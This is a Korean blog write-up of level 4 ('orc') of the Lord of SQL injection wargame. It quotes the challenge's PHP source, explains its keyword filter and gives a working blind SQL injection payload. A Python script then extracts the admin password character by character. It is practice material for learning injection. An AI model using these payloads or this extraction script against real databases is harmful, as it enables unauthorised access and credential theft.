EASY7
Lord of SQL 4번 본문
Lord of SQL 4번
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
#소스코드 분석
세부분으로 나눌 수 있다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
table명인 prob, _, ., (, )가 대소문자 구별 없이 나오면 No Hack
if($result['id']) echo "<h2>Hello admin</h2>";
sql injection 해서 로그인 성공하면 Hello admin
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
id가 admin인 pw와 파라미터 pw가 동일하면 성공
#PHP 함수 정리
1) php의 preg_match(정규칙 표현, 검색 대상 문자열) 함수
pattern이 매치되는 횟수를 반환한다. 0(매치없음) 또는 1(매치함)
#해결방법
http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=' or length(pw)=8 and id='admin
하면 Hello Admin이 나오므로 pw의 길이가 8임을 알 수 있다.
python3 requests 문서들을 참고하여 스크립트를 작성한다.
import requests
URL = 'http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php'
cookies ={'PHPSESSID' : '내 쿠키값'}
for i in range(1,9) :
for j in range(32,127) :
params = {'pw' : '\' or id=\'admin\' and ascii(substr(pw,%d,1))=\'%d' %(i, j)}
res = requests.get(url=URL, params=params, cookies=cookies)
if("Hello admin" in res.text) :
print (chr(j))
break
'Project > Lord of SQL' 카테고리의 다른 글
Lord of the SQL 9번 (0) | 2019.08.04 |
---|---|
Lord of the SQL 8번 (0) | 2019.08.04 |
Lord of the SQL 7번 (0) | 2019.08.04 |
Lord of the SQL 6번 (0) | 2019.08.04 |
Lord of SQL 5번 (0) | 2019.08.04 |